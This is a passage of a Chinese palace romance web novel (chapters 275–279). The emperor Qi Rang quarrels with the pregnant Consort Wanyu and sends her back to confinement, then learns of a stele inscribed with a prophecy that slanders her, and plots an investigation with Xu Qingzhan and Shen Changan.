廊下的小太监们全都捂着嘴偷笑。 晚余也乐得不行。 孙良言走到跟前给她行礼:“奴才见过贞妃娘娘。” 晚余收了笑,淡淡道:“大总管好些了?” “多谢娘娘关心,已经差不多了。” “那就好。”晚余说,“伤好了是好事,只是别好了伤疤忘了疼,否则这打就白挨了。” “谁说不是呢!”胡尽忠在旁边添油加醋,“皇上本来只是不吃饭,娘娘一来,皇上直接吐血昏迷,知道的说是大总管心疼皇上,不知道的还以为大总管故意刺激皇上,诱皇上发病呢!” “……” 孙良言懒得和他计较,讪讪地对晚余躬了躬身,“多谢娘娘教诲,奴才谨记于心。” 嘴上这么说着,心里却想,只要皇上能好过一点,自己挨板子也是值得的。 他是真的太心疼皇上,才会出此下策,去承乾宫请人时,已经想到皇上会罚他。 可他还是那样做了。 因为皇上这两个月的煎熬,只有他最能体会。 但这些说出来也没什么意思。 如果娘娘体谅皇上,用不着他多嘴多舌。 如果娘娘不体谅皇上,他就是把嘴皮子磨破也没用,倒显得他像是在给皇上博同情。 他也没有把娘娘留在宫里的意思,就是想着,反正圣旨的事所有人都知道了,铁定的事实已经不能更改,两人与其这样僵持着,不如各退一步,用这最后的时间缓和一下关系。 这样就算将来有一天分开了,至少不是用带着仇恨和怨念,一辈子老死不相往来。 虽然老死不相往来也没什么不好,到底有个孩子在中间。 都说做人留一线,日后好相见,关系缓和一些,万一哪天娘娘想孩子了,还能回来瞅一眼。 真要把事情做绝了,一点转圜的余地都不留,到时候就算想回也回不了了。 母子之间,也只能死生不复相见了。 他自认为自己并非完全偏向皇上,他也有为娘娘苦心打算的。 只是这份苦心,没有人明白,也没有人领他的情。 晚余在外面站了一会儿,就回了祁让寝殿隔壁的梢间歇息。 胡尽忠叫了雪盈来给她收拾床铺,两人许久不见,又是一番唏嘘。 雪盈拉着晚余的手上下打量,见她比从前丰腴了些,气色也好了很多,便念了声阿弥陀佛,含泪欣慰道: “你不让我和你来往,也不叫我打听你的事,我只当你在里面禁足,日子肯定不好过,现在看来,禁足倒把你养胖了,心情瞧着也不错。” “没人打扰,心情自然是好的。”晚余笑着问她,“我听素锦说你家里给你相看亲事了,那人你从前认不认识,不知人品怎么样,可不可靠?” 雪盈微微有些脸红:“素锦的嘴真快,和你说这些干什么?” “是我问她她才说的。”晚余催促道,“你别管她了,快和我说说是什么样的人?” 雪盈羞答答道:“也不是什么外人,是我远房的一个表兄,比我大几个月,小时候一块玩过的。 他品性不错,模样也还行,这几年一直忙着读书考功名,耽误了婚姻大事,今年乡试中了举人,明年就要来京城参加春闱了,到时候……” 她想说到时候带来给晚余瞧瞧,转念想到晚余那时不知会在哪里,余下的话便打住了。 晚余反过来安慰她:“没关系,反正这事大家都知道了,也没什么不能说的。 回头你把你家的住址给我,等我出去找地方落了脚,就给你去信,咱们在外面联系还更方便了呢!” 雪盈想起两人以前约定的事从没实现过,便拿帕子掩了掩她的口:“未成之事不可言,咱们以后不要再轻易约定,一切顺其自然,过到哪步算哪步吧!” 晚余被她说得心惊,忙也打住了话头:“好,那就不说了,事成之后再说不迟。” 两人便略过此事不提,又聊了些别的,雪盈瞧她打起了哈欠,便扶她躺下歇息,自己退了出去。 凉爽的雨天最好眠,晚余一觉醒来就到了下午。 玉竹守在外面,听到她醒了,就进去伺候。 “皇上看娘娘睡得好,叫奴才们不要打扰您,又叫膳房炖了燕窝备着,等娘娘醒了再吃。” “嗯。”晚余应了一声,随口问她,“皇上呢?” 玉竹说:“皇上在东暖阁里接见工部几位管水利的大人,想必又是商量治水的事。” “多长时间了?”晚余又问。 玉竹说:“约摸两个时辰了,午饭都是在暖阁里用的,药到现在还没吃,孙总管来劝都没劝住,又不敢惊动娘娘。” 晚余默然一刻,对她吩咐道:“你让人去和皇上说一声,就说我要回去了。” “是。”玉竹领命出去传话。 不大一会儿,祁让便神色慌张地找了过来:“好好的怎么就要回去了?” 晚余假装收拾东西,其实也没什么好收拾的:“臣妾是来给皇上侍疾的,皇上的病既然好了,臣妾也该回去了。” “谁说的?朕没好,朕严重着呢!”祁让扶着额头要晕不晕的样子,“朕也不想这样,是他们几个非拉着朕看图纸,幸好你醒了,朕才能脱身,否则他们还不肯走呢!” 晚余:“……” 﨔 第275章 朕倒是把他算漏了 祁让说着说着就要晕,晚余不知真假,只好把他扶回了寝殿,叫玉竹去传太医来给他诊脉。 太医诊了脉,说没什么大碍,就是不能操劳,要好生静养。 祁让不等晚余开口,便抢先道:“你瞧瞧,朕就说没好吧,你得留下来监督朕,以后再有这样的事,你直接替朕把他们撵走,可不能由着他们折腾朕。” 晚余到了嘴边的话愣是被堵了回去,半晌没有言语。 什么人哪这是? 好好一个皇帝,怎么死皮赖脸的? 他在朝堂上,也是这样对付那些朝臣的吗? 晚余不想和他计较,叫人拿药来给他喝。 祁让又说手软端不动碗,非要让她喂,一碗药喂了半天才喝完。 药里有助眠的成分,他身体本就乏累,喝完没多久便睡了过去。 晚余在房里坐着守了他一会儿,小福子进来说徐清盏来了,有事要见皇上。 换了旁的大臣,晚余自是要回避的,听说是徐清盏,便叫小福子先不要惊动皇上,她先去问问有没有要紧事。 此时天近黄昏,雨又一阵紧似一阵的下起来,冷风裹挟着寒雨直往殿里涌来。 徐清盏候在殿外,身上的大红绣金蟒袍被雨打湿了半边,时不时地发出一两声轻咳。 见晚余从里面出来,他先是一愣,忙上前两步伸出手,扶着晚余迈过高高的门槛:“娘娘今日可安好?” “还好,就是担个侍疾的名头,也不用我干什么活,上午睡了一觉,直到下午才醒。”晚余怕他担心自己,语气格外轻松。 徐清盏深深看了她两眼,也不知信没信。 晚余走到月台前去看雨:“这天总也不见晴,再这么下去,只怕京城也要淹了。” 徐清盏跟过来,笑着安慰她:“别担心,总会晴的,京城是龙气聚集之地,有皇上这真龙天子坐镇,轻易淹不了。” 龙气? 晚余听他这么说,不知怎的,脑海里浮现的竟是一条张牙舞爪发脾气的龙,不禁也笑起来。 “皇上刚吃了药睡下,你这会子过来,是有什么要紧事吗?” 徐清盏看了眼她的笑容,欲言又止:“也没什么要紧事,就是看了一天的折子,来和皇上汇报一下,听听皇上的意见。” 晚余敛了笑:“那我叫他起来?” “不用,我明早再来也是一样的,让皇上好好歇息吧!”徐清盏摆摆手,语气随意。 晚余观他神色,总觉得他不像没有要紧事的样子。 可他不说,她也不好追着问,便小声和他说:“皇上下午和工部几个管水利的官员议了许久的事,看来是下决心要好好治理黄河,你手上若有这样的人才,眼下正是入场的好时机。” 徐清盏神情微动,轻轻点了点头:“好,我知道了,外面冷,你快些进去吧!” “你也快回吧!”晚余说,“我刚才听到你咳嗽,你要多穿些衣裳,回去叫太医给你开些驱寒的药。” “好。”徐清盏又答应一声,对她拱手作别,“娘娘请回吧,臣告退。” 晚余叫小福子撑伞去送他,见他走到远处,在伞下和小福子说了些什么,小福子连连点头应是。 晚余猜想,他肯定还是有什么要紧事的,只是怕自己担心才不肯说。 可眼下这几日,最要紧的就是灾情,他说不说自己也早已知晓。 除此之外,还有什么? 难不成,是沈长安出事了? 晚余心里咯噔一下。 沈长安此时正在回京途中,能出什么事呢? 路上遇到了劫匪,山洪,还是犯了什么错,染了什么病? 晚余不禁忧心忡忡。 她很不喜欢这种被蒙在鼓里的感觉。 在她看来,如果一件坏事已经发生,与其遮遮掩掩让人不安,还不如索性讲明了,让人痛也痛得脚踏实地,哭也哭得酣畅淋漓。 回到殿里,祁让还没睡醒。 她也不知道该干什么,就点了一盏灯,坐在床尾出神,心里胡乱猜想着,沈长安究竟出了什么事。 不知过了多久,祁让悠悠醒转,见屋里一盏孤灯,满室寂静,心里一阵慌乱,忙撑着身子坐了起来。 见晚余默不作声地坐在床尾,他先是一惊,随即又松了口气,一颗心慢慢安定下来。 “你怎么一点动静都没有,朕差点以为你走了。”他搓了一把脸,嗓音还带着些刚睡醒的沙哑。 然而,他的问话却没有得到回应。 晚余静静坐着,眼神空洞地看向虚空处,脸色也很不好,像是受到了什么惊吓。 祁让直觉不对,掀开被子挪到床尾,伸手去搂她:“怎么了,出什么事了?” 晚余身子一颤,像是陡然从梦中惊醒,神情慌张地看向他。 “怎么了?”祁让微微蹙眉,又问了一遍,“出什么事了?” 晚余轻轻摇头:“没什么,臣妾就是闲着无聊,在发呆。” “你觉得朕会信吗?” 祁让捏住她的下巴,那双可以看透人心的凤眸直直望进她眼底,精准地捕捉到她眼中的慌乱与不安。 “说吧,什么事,别想糊弄过去,朕要听实话。” 晚余知道瞒不住他,只得实话实说:“先前徐清盏来见皇上,臣妾问他有什么事,他欲言又止的,好像有什么事不想让臣妾知道。” “就这?”祁让半是无奈半是宠溺地瞥了她一眼,“你傻不傻,你也说了他是来见朕的,那他要说的肯定是朝堂之事,哪一件都不能让你知道,明白吗?” “……”晚余眨眨眼,半信半疑,“只是这样吗,臣妾怎么觉得不是这样,臣妾心里很不安,直觉这事和臣妾有关。” 祁让轻笑出声,拇指从她唇上蜻蜓点水般的抚过:“别把自己想的那么重要,当今天下都找不出几件事是和你有关的,毕竟……” 他想说毕竟你家人都死完了,话到嘴边又硬生生收回。 晚余却追问他:“毕竟什么?” 祁让略一沉吟,手向下抚上她的肚子:“毕竟你在这世上也没什么亲人了,除了朕和这个家伙。” “什么叫这个家伙?”晚余忍不住抗议。 祁让哈哈大笑,一把将她揽进怀里:“朕说错了,朕重新说,除了朕和这位小公主或者小皇子。” 晚余一点也笑不出来,心中仍觉不安。 祁让见她怎么都哄不好,只得道:“你要实在不放心,朕就把徐清盏叫过来问问,倘若事情真和你有关,朕帮你摆平就是了。” “……”晚余欲言又止。 祁让低头,用脸颊蹭她鬓发:“怎么,你不信朕?你觉得朕摆不平?” “不是……”晚余迟疑着不敢说。 “有话就说,朕恕你无罪。”祁让说道,手指在她肚子上轻点了两下,“有这免死金牌,便是有罪,朕又能把你怎么样?” 晚余犹豫再三,还是问了出来:“要是和沈长安有关,皇上又当如何?” “……”祁让揽在她肩上的手猛地一僵,话语里便带了几分咬牙切齿的味道:“沈长安!朕倒是把他给算漏了!” 﨔 第276章 沈长安不会死了吧? 晚余见他要恼,立时紧张起来,小心翼翼道:“是皇上非要臣妾说的。” “朕要你说你就说,朕别的话你怎么不听?”祁让脸色阴沉下来,凤眸染上一层薄怒。 这话说的,晚余不知道怎么接,便恭顺道:“臣妾错了,皇上不喜欢,臣妾不说就是了,皇上就当臣妾没说过吧!” “可你已经说了。”祁让不依不饶,语气也变得刻薄,“你当真以为自己怀了一个免死金牌吗? 你当真以为仗着一个肚子就可以为所欲为了吗? 江晚余,你能不能不要挑战朕的底线?” 晚余愕然看着他,耳边嗡嗡作响,简直不敢相信眼前这个突然变脸的男人,就是上一刻还笑着说要帮她摆平一切的男人。 更不敢相信,是那个红着眼睛死死抓住她的手求她不要离开的男人,是那个死皮赖脸要她喂药的男人。 她素来知道他是善变的,是喜怒无常的,可是从昨晚到方才,他真的给了她一种错觉,让她以为他们或许可以这样和平共处直到孩子出生。 毕竟,和平共处也是他提出来的。 他说想和她像寻常夫妻一样,不吵不闹,安安生生把这几个月过完,这样即便有一天她走了,总还有一段好时光可以回忆。 他甚至还自己主动提出要沈长安辅佐他们的孩子这种话。 可是现在,他却只是从她口中听到沈长安的名字,就把之前种种都忘了。 就像一头饿狼脱下了伪装的羊皮,又露出了他本来的面目。 装得再像,本质还是狼。 晚余笑了下,心里突然就释然了。 真好。 他没变。 她也不用再纠结了。 不用再怀疑自己是不是太心狠了。 不用再有那些说不清道不明的负罪感了。 将来就算要走,也可以走得义无反顾了。 真好。 这可真是太好了。 她挣开他的手,下床跪在地上:“是臣妾僭越了,臣妾恃宠而骄,忘了自己的身份,请皇上责罚。” 祁让没拦着她往下跪。 在她跪下之后,也没说让她起来。 就那么冷着脸静静看了她一会儿,才缓缓开口道:“朕说了恕你无罪,自然不会责罚你,回你的承乾宫继续禁足去吧,孩子生下来之前,不许你再踏出承乾宫半步!” 晚余又想笑。 她本来就是要回去的,是他非要留她,现在弄得倒像是她舍不得回去一样。 不对,她原本来都不想来的,是有人非逼着她过来的。 她不想争辩,也懒得争辩,免得那人那张毒舌似的嘴里,再说出什么扎人心窝子的话。 就算她不会因为那些话而伤心,但她也不想听。 “多谢皇上,臣妾告退,皇上保重龙体。”她有些吃力地站起身,没有半分留恋地向外走去。 祁让看着她的背影,眼底是灯火都照不亮的幽暗,扬声向外吩咐:“小福子,叫人送贞妃回去,即日起,贞妃继续禁足承乾宫。” 外面先是几息的安静,随后才响起小福子的应答之声:“是,奴才遵命。” 小福子大概也懵了,不知道两人好好的怎么又闹成这样。 祁让静静坐在床上,面无表情地听着外面窸窸窣窣的响动,和刻意压低的说话声,还有走来走去的脚步声。 过了一阵子,动静越来越小,最终归于寂静。 他知道,晚余已经走了。 他紧绷的身子却还是没有松懈下来,像是被定住了一样。 又过了一会儿,小福子走进内殿,在离龙床几步远的地方跪下:“皇上,奴才已经让人把贞妃娘娘送走了。” “嗯。”祁让嗯了一声,终于变换了一下坐到麻木的坐姿,乌沉沉的凤眸看向他,“徐清盏和你说过什么没有?” 小福子愣了下,还以为他会问一问贞妃娘娘走的时候什么反应,没想到他直接问起了徐掌印。 “回皇上的话,徐掌印先前来见皇上,皇上睡着了,贞妃娘娘和他说了几句话,叫奴才送他走,他让奴才转告皇上,他想等贞妃娘娘睡下之后和皇上见一面,如果皇上同意,就派奴才去司礼监叫他。” 祁让眉心微蹙,眸光更加暗沉。 看来事态确实严重,并且确如晚余所猜,这件事与她息息相关。 会是什么事? 难不成真的是沈长安出事了? 沈长安不会死了吧? 沈长安要是死了,晚余是不是就不会再闹着出宫了? 他脑海里瞬间蹦出这个念头,忙又压下,沉着脸对小福子说道:“传徐清盏来见朕。” “是。” 小福子领命而去。 祁让独自坐着出神。 想起晚余方才离去时那决绝的背影,心里说不出的难受。 两个月了,他做梦都盼着她来。 可她真的来了,他又把她气走了。 她这会儿肯定恨死他了。 可晚余是最了解徐清盏的人,如果徐清盏的举动让她生出这样的不安,那肯定不会是她的错觉。 如果一件事情严重到徐清盏连她都要隐瞒的地步,那肯定是非常严重了。 所以,这样的情况下,她还是回承乾宫为好。 回了承乾宫,就不会有任何消息传到她耳中,哪怕真的是沈长安死了,他也能瞒着她到她平安生产。 至于她恨他这件事…… 她恨他的事情多了,不在乎再多一件。 “皇上,徐掌印来了。” 不知过了多久,小福子的声音打断了他的思绪。 祁让回过神,沉声道:“进来吧!” 伴随着两声轻咳,徐清盏一身大红绣金蟒袍走了进来。 连官服都没换,可见一直在等着他的传召,祁让越发意识到事态的严重性,清了清嗓子,开门见山道:“说吧,沈长安出什么事了?” 徐清盏微怔:“臣什么都没说呢,皇上怎么断定是沈长安出了事?” 祁让哼了一声:“有些人愁得肠子都要打结了,朕能猜不到吗?” 徐清盏心下一紧,下意识转着眼珠寻找晚余的身影。 他自认为那会子在晚余面前没有表现出什么异常,怎么晚余还是察觉了吗? 他欣慰于晚余对他的了解,又为晚余的敏锐感到心酸。 她这会儿肯定在胡思乱想,坐立难安吧? “别找了,朕已经让她回承乾宫了。”祁让说,“你不就是怕她知道吗,现在她走了,你赶紧说吧!” 徐清盏大为意外,皇上先前死乞白赖要把晚余留下,现在却为了一个不确定的揣测,就把晚余送走了。 他对晚余确实很在意的。 如果他们之间没有那么多的阴差阳错…… 算了。 现在再想这些没有任何意义。 他敛了敛神,正色道:“臣要说的事和沈长安无关,是开封那边传回的消息,河工们在清理黄河淤泥时,从里面挖出了一块石碑,石碑上有“妖妃祸国,灾星降世”的谶语。” “什么?” 祁让闻言霎时变了脸色,心口一阵气血翻涌,腥甜直往嗓子眼涌去。 﨔 第277章 现在连装都不装了吗? “皇上。”徐清盏见他身子摇摇欲坠,连忙上前将他扶住,“皇上您怎么样,要不要传太医?” “不用。”祁让抬手制止,强行压下那股突如其来的汹涌,示意徐清盏扶他靠在床头,缓了一会儿才道,“你接着说。” 徐清盏确认他没有大碍,退后一步道:“碑文指向性太过明显,臣可以肯定是有人刻意针对贞妃娘娘和她肚子里的龙胎,现在开封当地已经有关于她们母子的谣言流传开来,还有……” “还有什么,接着说。”祁让面沉如水,眼中是凛凛杀气。 徐清盏斟酌了一下,想要尽量说得委婉,但又没办法委婉:“京中同时起了谣言,说,说皇上当年一出世就有大水患,而今贞妃肚子里的孩子还没出世,黄河便决了堤,又说自从皇上纳了江氏入后宫,又是雪灾,又是时疫,宫里还起了大火……” “一派胡言!”祁让听不下去,一声厉喝,拳头重重砸在床上,额角青筋突起。 “这些灾难哪朝哪代没有,从古至今,黄河决堤了多少回,单说大邺开国以来,就决堤过不下二十回。 至于雪灾,时疫,火灾,更是常有的事,难道都是因为朕,都是因为贞妃和孩子吗?” “所以臣才说是有人刻意针对。”徐清盏躬身,“谣言快如风,一旦借着水患深入民心,再想扭转便是万难,还请皇上早下决断。” 祁让闭了闭眼,一手压在心口,沉吟一刻道:“先让人看紧承乾宫,关于此事,一个字都不许传入贞妃耳中,但凡她听到一点风声动了胎气,朕便唯你是问。” “是。”徐清盏应了一声,等着他继续往下说。 祁让又道:“京城的谣言想追本溯源没那么难,靠猜也能猜出几分,让你东厂的人暗中调查,但凡有半分嫌疑,就下到昭狱严刑拷问,很快就会有结果。 至于开封那边……” 他缓了缓,忍着心口阵阵绞痛,接着又道:“石碑不可能从天而降,必有它的出处。 什么材质的石材出自什么山,什么样的工匠来雕刻,什么人刚好挖到了它,当时都有哪些人在场,上报给了哪个官员,那官员采取了什么措施,都要给朕一一查明。 实在查不到,就把当地会雕刻手艺的匠人以及挖到石碑的河工统统抓起来问斩,总有人会扛不住说出点什么,便是让他们互相攀扯,也要给朕扯一条线出来。 总之……” 他停顿片刻,慢慢坐直了身子,冷峻的面容笼着一层寒霜,一字一句,都是彻骨的寒意: “总之,你此番只记住一句话,宁可错杀三千,不可放过一人! 谁要与朕的妻儿过不去,朕便叫他死无葬身之地!” 言罢,眼中杀意愈发明显,毁天灭地般的戾气从他周身散发出来,连徐清盏这般心狠手辣的人都感到无形的压迫力。 所谓天子一怒,伏尸百万,便是如此了。 “臣遵旨!”徐清盏撩袍下跪,“查这种事是东厂的看家本领,只要皇上发话,臣定当不遗余力,只怕到时查到哪位皇亲国戚,或者哪位主子娘娘的母家,皇上难免要顾念一二……” “朕顾念得已经够多了!”祁让沉声打断他,“朕明白你的意思,你只管放开手脚去查,这一次,不管是谁在背后生事,朕绝不姑息!” “皇上圣明,有皇上这话,臣就放开手脚去办了。”徐清盏抱拳,起身的瞬间,眼底闪过一抹噬血的阴鸷。 “皇上。”小福子在门外叫了一声。 两人同时收敛了神色,向门外看过去。 “何事?”祁让问道。 小福子走进来,弯腰回道:“沈大将军回来了,现在宫门外求见,眼下宫门已经下钥,还请皇上示下。” 祁让微讶,和徐清盏对视一眼:“你不是说他最快也要后天才回吗?” 徐清盏也很惊讶,但随即就了然一笑:“想必是听说了开封石碑的传闻,才日夜兼程赶回。” 祁让面色微凝,心底泛起酸意,嘴上只道:“回来的正是时候,你们二人联手,定然事半功倍。” “是三个人。” 徐清盏唯恐他心里不痛快,赶紧比出三根手指,把他也加了进去,“皇上疼惜贞妃娘娘,不想娘娘受到伤害,臣等愿与皇上一同护娘娘周全,皇上负责坐阵指挥,其余的就交给臣和沈大将军。” “少来哄朕,朕不吃这套!”祁让一脸不屑,摆手示意小福子把人带来。 徐清盏笑了笑,又拿出从前在他面前插科打诨的架势:“皇上当真一点都不羡慕我们三个人的情义吗?” “你们有什么好羡慕的?”祁让嗤笑一声,幽幽道,“难道不该是你们两个嫉妒朕得到了她,并且和她有了孩子吗?” 这刀子扎的,徐清盏心口一阵刺痛,半晌没缓过来。 祁让占了上风,心口憋的那股气终于顺了,脸上也有了一丝笑模样,同他心平气和地推测起了谣言的源头。 两人说了一会儿话,听到外面响起沉稳有力的脚步声,随即小福子便在外面回禀:“皇上,沈大将军到了。” “进来吧!” 祁让和徐清盏同时向门口看过去。 少顷,沈长安在小福子的引领下,携着一身雨水和寒气走了进来。 两个多月不见,他似乎比从前更加稳健干练,俊朗的脸上多了几许沧桑。 日夜兼程的疲惫加上满身风尘,并未削减他大将军的威风,那双本就亮如星辰的眸子被雨水冲洗得黑白分明,熠熠生辉。 “臣沈长安,叩见皇上,吾皇万岁万岁万万岁!” 他身上还穿着戎装,在祁让面前单膝下跪,抱拳行礼:“臣出使瓦剌归来,特来向皇上复命。” 祁让不动声色地将他上下打量几眼,心说那女人除了倔,看人的眼光也极好,京城千千万万儿郎,她偏就选中了沈长安。 “起来吧,沈大将军辛苦了。”他清了清嗓子,压下心头醋意,开口直奔主题,“瓦剌的事暂且不急,你日夜兼程赶回,所为何事朕亦知晓,该怎么做,朕方才已经交代过徐清盏,回头叫他和你细说。” 沈长安转头看了徐清盏一眼。 来的路上,他已经听小福子说了徐清盏在这里,因此并不意外。 徐清盏朝他点了点头,两人便已心照不宣。 沈长安没有立刻起身,迟疑着问了一句:“贞妃娘娘……和龙胎可安好?” 祁让:“……” 真够直接的,现在连装都不装了吗? 﨔 第278章 就算我死了,也不要瞒着她 令人窒息的沉默过后,祁让还是回应了沈长安:“有劳沈大将军挂怀,贞妃安好,龙胎也安好,你再早回来一会儿,没准还能见到她。” 沈长安不免惊讶。 晚余不是自请禁足了吗,怎么会来乾清宫? 不知这中间又出了什么事? 徐清盏唯恐他问得多了惹祁让不高兴,就主动解释了一句:“皇上这两日圣躬违和,贞妃来侍疾,她猜到出了大事,以为是你的事,皇上怕她胡思乱想,就让她回去了。” 沈长安心中仍有疑惑,知道此时不能多问,斟酌道:“还是不要瞒着她吧,她不喜欢被蒙在鼓里,就算是我的死讯,也不必隐瞒,她不是经不起事的人,这样只会让她更加不安。” 祁让眉心跳了跳,微微眯起的凤眸看起来有些不悦,仿佛下一刻就要爆发雷霆之怒。 徐清盏忙要替沈长安找补,却听祁让幽幽道:“还是你了解她。” “臣不敢。”沈长安垂首做出谦恭的姿态,“臣与贞妃已分开多年,说这话不过是从她小时候的性情来推断。 这些年皇上与她朝夕相处,自然比臣更了解她,之所以第一时间想要隐瞒她,也是因为关心则乱。” 小时候? 祁让将这几个字在口中咀嚼几遍,嚼出满口的苦涩。 那是他们之间的从前,他们之间的时光。 而他没有。 他和晚余之间,既没有从前,也没有未来。 他自嘲一笑,问沈长安:“你此番可带了鄯善甜瓜回来?” 沈长安一愣,不知他怎么突然说起甜瓜:“甜瓜带了些,只是还在后面。” 祁让就叫了徐清盏一声:“你送沈大将军出宫吧,回头让你干儿子到膳房要一份甜瓜送到承乾宫。” 徐清盏也是一愣,但随即就明白了他的意思,连忙答应下来,道了谢和沈长安一起告退出去。 祁让看着两人一前一后,无声又默契的离开,不觉想起徐清盏先前问他的话—— “皇上当真一点都不羡慕我们三个人的情义吗?” 他没有过那样的情义。 也不知道那究竟是怎样的情义。 他从来都是孤家寡人。 徐清盏一直把沈长安送出神武门,站在门前空旷的广场,确认四周没有人,才冒着淅淅沥沥的雨丝和沈长安说起了晚余到乾清宫侍疾,以及开封石碑和京城谣言的事。 沈长安安静听完,沉思片刻道:“皇上既然让你负责此事,你便放开了手脚干吧,有人落马,就得有人补缺,什么位子上补什么人,你要做到心中有数。” 徐清盏抹了一把脸上的雨水,发出几声轻咳:“你想干什么?” “你身子受不得寒,平时要注意。”沈长安伸手在他肩上轻拍了两下,小声道,“还有几个月晚余的孩子就要出生,提前做些准备,免得到时候被动。” “准备什么?”徐清盏问,“你是怕皇上不放她走,还是想护那孩子周全?” “都有。”沈长安隐晦道,“不管为了什么,咱们必须有话语权,眼下正是上人的最佳时机。” 徐清盏迟疑地看着他:“其实,小鱼未必对那孩子有多上心,她要是走了,那孩子自有皇上操心,咱们何必自找麻烦?” 沈长安也看着他,目光却是坚定的:“现在不上心,生下来就不一定了,女人做了母亲,心境就会大不相同,更何况,有些时候,上天不会给我们选择的机会,我们只有做好万全的准备,才能从容应对每一种未知的变故。” “好,我知道了。”徐清盏点点头,突然想到一事,“先前在乾清宫,晚余说皇上下决心要好好治理黄河,说我手上有人的话,正是入场的好时机。” “确实是好时机。”沈长安说,“工部是六部之一,虽不及吏部户部有实权,但也不可或缺,关键时候也是有发言权的。” “这个我自然明白,我只是没想到,小鱼也开始对这些事上心了。”徐清盏仰头望天,语气有些唏嘘,“本以为可以护着她,不让她沾染世俗的尘埃,但她终究还是卷了进来。” “她也要成长的,你不必为此难过。”沈长安也仰头望天,任雨丝打在脸上,“清盏,不管你接不接受,她都要做母亲了。” 徐清盏怔怔一刻,眼泪突然就流了出来,和脸上的雨水混为一体。 …… 承乾宫里,紫苏和一众宫人得知晚余归来,全都惊奇不已,纷纷冒雨出来迎接。 “娘娘怎么突然回来了,奴婢还以为您要在那边住上几日呢!”紫苏隐晦地问道。 晚余刚和祁让闹得不愉快,心里又惦记着沈长安,有气无力道:“那边没什么事,我在那边休息不好,皇上就让我回来了。” 紫苏将信将疑,扶着她回了屋,叫人准备热水给她沐浴,问她用过晚饭没有。 晚余说没有,紫苏便又叫人准备了清淡好克化的粥菜来服侍她吃下。 晚余原本没什么胃口,为着肚子里的那个,还是勉强吃了一些,沐浴过后,便上床歇下了。 紫苏见她怏怏不乐,感觉不对劲,等她睡下后,就出去找胡尽忠问话。 胡尽忠当时不在场,也不知道具体怎么回事,就安慰她说:“肯定不是什么大事,否则皇上不可能只叫娘娘回来继续禁足这么简单。 我估摸着两人是又拌嘴了,你也甭担心,皇上要是能坚持三天不来找娘娘,我就跟你姓。” “呸!谁要你跟我姓。”紫苏嫌弃道,“皇上不来还好呢,谁也没巴望他来,他不来,娘娘反倒省心。” “这倒也是。”胡尽忠嘻嘻笑道,“不过话说回来,你到底姓什么呀?” “要你管。”紫苏白了他一眼,转身就走。 “嘿!这臭丫头!晚上吃的油辣子拌饭吧?”胡尽忠在她背后嘟哝了一句。 紫苏回到内室,见晚余睁着眼睛望着帐顶出神,索性直接问她:“是不是皇上又惹娘娘不高兴了?” 晚余回过神,对她摇了摇头:“他没惹我不高兴,但我好像又上了他的当。” “娘娘什么意思?”紫苏困惑道。 晚余没法和她说,心里却更加肯定,祁让这回是故意的。 他怕她知道沈长安出事受不了打击,所以才故意说那些刻薄的话,把她撵回承乾宫来。 她当时没有细想,这会子回过味来,才知道自己上了当。 她不否认祁让的好意,但祁让以为这样她就能心安了吗? 撷芳殿那晚说好的以后都要和她坦诚相待呢? 如今这话是完全作废了吗? 晚余撑着身子坐了起来:“更衣,我要去见皇上。” 﨔 第279章 她对他是有过期盼的吧? 紫苏吃了一惊,忙劝道:“娘娘冷静,现在太晚了,雨也还没停,况且外面有侍卫守着,没有皇上的命令,咱们是出不去的。” 晚余泄了气,靠坐在床头:“那你就让侍卫替我传话给皇上,问他撷芳殿的话到底还算不算数。” 紫苏犹豫道:“这个时辰,只怕他们不敢惊扰皇上。” “管他呢,你去试试,不行再说。” “那好吧!” 紫苏答应一声出去,到大门口,隔着门把晚余的话说给侍卫听,让侍卫帮忙传话。 侍卫倒是没拒绝,只说时辰晚了,未必能见到皇上,叫她不要抱什么希望。 紫苏又回去把侍卫的话转告给晚余,和她一起闲聊着等回信。 等了约摸两刻钟,胡尽忠端着一盘子甜瓜走进来。 紫苏斥道:“都什么时辰了,你还让娘娘吃瓜,小心玉竹看到又唠叨你。” “你就是对我有成见。”胡尽忠叫屈道,“这是鄯善甜瓜,只有御膳房才有,我可没本事弄来。” 晚余一听鄯善甜瓜,顿时精神一振:“谁送来的?” “回娘娘的话,是徐掌印的干儿子来喜送来的,他说徐掌印知道娘娘心绪烦躁睡不安稳,特地叫他送些甜瓜来,娘娘吃上几块就能安然入睡了。” 晚余立时便明白了徐清盏的意思。 徐清盏知道她在担心沈长安,因着昨晚提到沈长安会带鄯善甜瓜回来,就送了甜瓜过来告诉她沈长安平安无事。 可是,自己离开乾清宫之前就没有再见到徐清盏,为什么徐清盏会知道她担心沈长安呢? 肯定是徐清盏在她走后又去见了祁让,祁让和他说了自己担心沈长安的事。 所以,这甜瓜是祁让叫他送来的吧? 毕竟外面的侍卫都是祁让的人,祁让不点头,什么东西也送不进来。 如果是这样,是不是说明她之前的猜测错了? 沈长安没有事,徐清盏要和祁让说的,的确是和她无关的事。 她终于放下心来,想起祁让之前说她傻,说全天下都没几件和她相关的事,不禁有点想笑。 早知道就不让侍卫去给他传话了,他要是听了,只怕又要说她傻。 算了,傻就傻吧,虽说闹了个乌龙,至少知道长安平安无事,她也就安心了。 “拿来我尝尝。”她招手叫胡尽忠过来,拿纯银的果叉叉了一块甜瓜放进嘴里,脸上有了些笑模样:“这鄯善甜瓜,怎么吃着跟寻常甜瓜也没什么区别?” 胡尽忠眨着三角眼道:“谁知道呢,一个甜瓜而已,或许本来也没有多好吃,只是因为寻常吃不到,才被人传得神乎其神。” “有道理。”晚余好心情地附和了一句,“甜瓜而已,再好吃也是甜瓜味。” 就是不知道,沈长安带回来的甜瓜,会不会不一样? …… 乾清宫里,祁让正在听一名黑衣暗卫回禀神武门外的情况。 暗卫说:“徐掌印和沈大将军站在门前广场说话,周围太安静,没有任何遮挡,属下也不敢近前,加上天黑又下雨,也无法通过唇语知晓他们谈话的内容,请皇上恕罪。” 祁让靠在床头,面色沉沉不辨喜怒:“这不怪你,是他们太会选地方。” 那种空旷的地方,没有任何人能够接近,在外人看来,还会觉得他们不遮不掩,坦坦荡荡。 “不过他们也没说太久,几句话的功夫就分开了。”暗卫说道。 祁让微微颔首:“朕知道了,你的任务完成了,去歇着吧!” “是。”暗卫抱拳起身,很快就消失在门外。 屋内一盏孤灯,还是晚余之前点的。 祁让望着那团小小的火苗,眼前浮现出晚余临走前,脸上一闪而过的失望。 当时他没细想,现在想来,如果没有期盼,何来的失望? 所以,至少在那之前,她对他是有过期盼的吧? 哪怕是微乎其微的期盼。 或许他不该撵她走的。 